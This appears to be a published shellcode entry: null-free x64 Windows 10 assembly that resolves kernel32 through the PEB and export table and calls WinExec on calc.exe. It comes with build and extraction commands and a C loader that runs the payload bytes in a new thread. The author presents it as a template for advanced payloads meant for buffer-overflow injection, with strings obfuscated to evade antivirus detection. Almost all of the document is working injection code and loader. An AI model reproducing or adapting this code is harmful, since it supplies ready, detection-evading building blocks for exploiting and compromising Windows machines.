205 bytes small 64-bit Windows 10 shellcode that dynamically resolves the base address of kernel32.dll via PEB and ExportTable method. It contains no null bytes (0x00), and therefore will not crash if injected into typical stack buffer overflow vulnerabilities.
02563e617ae846cbf28e476c3c33e2a9# Shellcode Title: Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)
# Shellcode Author: Bobby Cooke (boku)
# Date: May 2nd, 2021
# Tested on: Windows 10 v2004 (x64)
# Shellcode Description:
# 64bit Windows 10 shellcode that dynamically resolves the base address of kernel32.dll via PEB & ExportTable method.
# Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities.
# Grew tired of Windows Defender alerts from MSF code when developing, so built this as a template for development of advanced payloads.
; Compile & get shellcode from Kali:
; nasm -f win64 popcalc.asm -o popcalc.o
; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
; Get kernel32.dll base address
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8 = &kernel32.dll
; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
add r10, r8 ; R10 = &AddressTable
; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
add r12, r8 ; R12 = &OrdinalTable
jmp short apis
; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the return address for ret 2 caller after API address is found
pop rcx ; Get the string length counter from stack
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter from the stack
xor rdi,rdi ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter from top of stack
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx ; place the return address from the api string call back on the top of the stack
ret ; return to API caller
apis: ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax ; R14 = Kernel32.WinExec Address
; UINT WinExec(
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax ; RSP = "calc.exe",0x0
mov rcx, rsp ; RCX = "calc.exe",0x0
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec("calc.exe", SW_HIDE)
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// runShellcode.c
// C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net)
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}